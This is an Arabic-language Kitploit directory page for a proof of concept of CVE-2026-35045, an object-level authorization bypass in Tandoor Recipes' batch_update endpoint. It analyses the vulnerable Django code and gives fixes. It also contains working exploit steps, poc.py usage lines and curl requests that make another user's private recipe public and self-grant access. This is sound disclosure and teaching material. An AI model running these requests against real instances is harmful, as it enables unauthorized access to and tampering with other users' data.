Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-35045-PoC — إثبات مفهوم لاستغلال CVE-2026-35045، وهي ثغرة في تفويض الوصول على مستوى الكائنات في تطبيق Tandoor Recipes، توضح تعديل الوصفات غير المصرح به عبر نقطة نهاية واجهة برمجة التطبيقات batch_update. | Kitploit
أدوات/GitHubGitHub/filipegaudard/cve-2026-35045-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIاختبار الاختراقالتعلم والتعليم
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

إثبات مفهوم لاستغلال CVE-2026-35045، وهي ثغرة في تفويض الوصول على مستوى الكائنات في تطبيق Tandoor Recipes، توضح تعديل الوصفات غير المصرح به عبر نقطة نهاية واجهة برمجة التطبيقات batch_update.

عرض المستودع
116منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-35045 — تفويض مكسور على مستوى الكائن في Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


الملخص

تسمح نقطة النهاية PUT /api/recipe/batch_update/ في Tandoor Recipes الإصدار 2.6.1 لأي مستخدم مصادق عليه داخل مساحة (Space) بتعديل أي وصفة في تلك المساحة — بما في ذلك الوصفات الخاصة المملوكة لمستخدمين آخرين. هذا يتجاوز تمامًا فحوصات التفويض على مستوى الكائن المفروضة على جميع نقاط نهاية الوصفات الفردية القياسية.

السبب الجذري هو فجوة سلوكية في Django REST Framework: إجراءات القائمة (detail=False) لا تستدعي أبدًا has_object_permission()، بل تستدعي فقط has_permission(). تقوم تصفية مجموعة الاستعلام (queryset) فقط على space=request.space، دون أي فحص لـ created_by أو private أو قائمة shared. يمكن للمهاجم إجبار الوصفات الخاصة على الظهور، ومنح نفسه وصولًا دائمًا، وسحب صلاحيات المستخدمين الآخرين، والتلاعب بالبيانات الوصفية — كل ذلك في استدعاء API واحد يبدو غير مصرح به ويعيد HTTP 200 OK بجسم فارغ.

تفاصيل الثغرة

الحقلالقيمة
معرف CVECVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — تجاوز التفويض عبر مفتاح يتحكم به المستخدم
CVSS v3.18.1 عالية — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
الإصدار المتأثرTandoor Recipes ≤ 2.6.1
البائعTandoorRecipes/recipes

تعيين MITRE ATT&CK

معرف التقنيةالاسمالصلة
T1078حسابات صالحةيستخدم المهاجم بيانات اعتماد شرعية منخفضة الامتياز لتجاوز التفويض
T1565.001التلاعب بالبيانات المخزنةتعديل الوصفات الخاصة وقوائم التحكم بالوصول (ACLs) المملوكة لمستخدمين آخرين

تحليل السبب الجذري

1. detail=False يتجاوز فحوصات صلاحيات مستوى الكائن

الملف: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← لا يوجد فحص created_by أو private
        )

في Django REST Framework، الإجراءات المسجلة بـ detail=False هي إجراءات قائمة. وهي لا تستدعي أبدًا get_object()، مما يعني أن check_object_permissions() و CustomRecipePermission.has_object_permission() لا يتم استدعاؤهما أبدًا. يتم تشغيل has_permission() فقط — والذي يتحقق من عضوية المساحة، وليس ملكية الوصفة.

2. نقاط النهاية القياسية محمية بشكل صحيح

PUT /api/recipe/{id}/ يتبع تدفق صلاحيات DRF الكامل:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → يرفض الوصول إذا كانت الوصفة خاصة وغير مملوكة/مشاركة مع الطالب

نقطة نهاية batch_update تتخطى هذه السلسلة بأكملها بصمت.

3. الحقول القابلة للكتابة عبر الدفعة

يكشف RecipeBatchUpdateSerializer عن الحقول التالية — قابلة للكتابة على أي وصفة في المساحة:

الحقلالتأثير
privateتبديل رؤية الوصفة
shared_add / shared_remove / shared_setالتلاعب بقائمة التحكم بالوصول
keywords_add / keywords_remove / keywords_setتغيير البيانات الوصفية للوصفة
working_time / waiting_timeتعديل بيانات توقيت الوصفة

تدفق الهجوم

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ المهاجم  │ ─────────────────────────────────────→│  خادم Tandoor  │
│ (المستخدم B) │   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (عضو في المساحة)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ لا يُستدعى أبدًا │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← لا يوجد فحص ملكية
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  الوصفة ID 2   │
                                                   │  (مملوكة لـ A) │
                                                   │  private=false ← تم التعديل
                                                   │  shared=[2]  ← منح ذاتي
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ المهاجم (B)    │
                                                   │ لديه الآن وصول │
                                                   │ كامل إلى       │
                                                   │ الوصفة ID 2    │
                                                   └────────────────┘

إثبات المفهوم

المتطلبات

  • Python 3.10+
  • مكتبة requests
root@kitploit:~
pip install requests

الاستخدام

root@kitploit:~
# إجبار وصفة خاصة على الظهور ومنح الوصول ذاتيًا (الافتراضي)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# الإجبار على الظهور فقط (تعيين private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# المنح الذاتي فقط (إضافة إلى قائمة المشاركة، مع إبقاء private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

الوحدات / الإجراءات

الإجراءالوصف
exposeيعيّن private: false على الوصفة المستهدفة — يجبرها على الظهور لجميع أعضاء المساحة
self_grantيضيف معرف المستخدم المهاجم إلى shared_add — يمنح وصولًا دائمًا حتى لو بقيت الوصفة خاصة
bothينفذ كلا الإجراءين في طلب واحد (الافتراضي)

التحقق اليدوي (curl)

1. الشرط المسبق — الوصفة غير قابلة للوصول عبر نقطة النهاية القياسية

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# المتوقع: 404 (خاصة، غير مملوكة)

2. الاستغلال — batch_update بدون تفويض

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# المتوقع: HTTP 200 OK — {}

3. الشرط اللاحق — الوصفة أصبحت قابلة للوصول الآن

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# المتوقع: HTTP 200 مع بيانات الوصفة، private=false

4. التحقق عبر قائمة الوصفات

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# المتوقع: 2  <recipe_name>  False

التأثير

مجال التأثيرالوصفالخطورة
إجبار الوصفات على الظهورتعيين private: false يجعل أي وصفة مرئية لجميع أعضاء المساحةعالية
منح ذاتي غير مصرح بهإضافة معرف المستخدم الخاص عبر shared_add يمنح وصولًا دائمًا للقراءة/الكتابة إلى أي وصفةعالية
سحب الوصولاستخدام shared_remove أو shared_set لإزالة المستخدمين الشرعيين من قائمة مشاركة الوصفةعالية
التلاعب بالبيانات الوصفيةتعديل working_time و waiting_time و keywords على وصفات مملوكة لمستخدمين آخرينمتوسطة

المعالجة

الإصلاح الفوري

قم بتصفية مجموعة الاستعلام حسب created_by=request.user لتقييد عمليات الدفعة على الوصفات المملوكة:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← الإصلاح: تقييد على الوصفات المملوكة
        )

الدفاع المتعمق

إذا كان مسؤولو المساحة بحاجة إلى القدرة على تحديث أي وصفة دفعة واحدة، أضف شرطًا قائمًا على الأدوار:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

إرشادات عامة لـ DRF

أي إجراء detail=False يعمل على كائنات فردية يجب أن يفرض يدويًا التفويض على مستوى الكائن. لا يتم استدعاء has_object_permission() في DRF أبدًا لإجراءات القائمة — تقع هذه المسؤولية بالكامل على عاتق المطور.


المراجع

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639: تجاوز التفويض عبر مفتاح يتحكم به المستخدم
  • DRF — الإجراءات المخصصة وفحوصات الصلاحيات
  • OWASP API Security Top 10 — API1:2023 تفويض مكسور على مستوى الكائن
  • MITRE ATT&CK T1078 — حسابات صالحة
  • MITRE ATT&CK T1565.001 — التلاعب بالبيانات المخزنة

إخلاء المسؤولية

إثبات المفهوم هذا مقدم لأغراض اختبار الأمان المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الأداة.


المؤلف

Filipe Gaudard — باحث أمن هجومي | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
تنزيل الأداة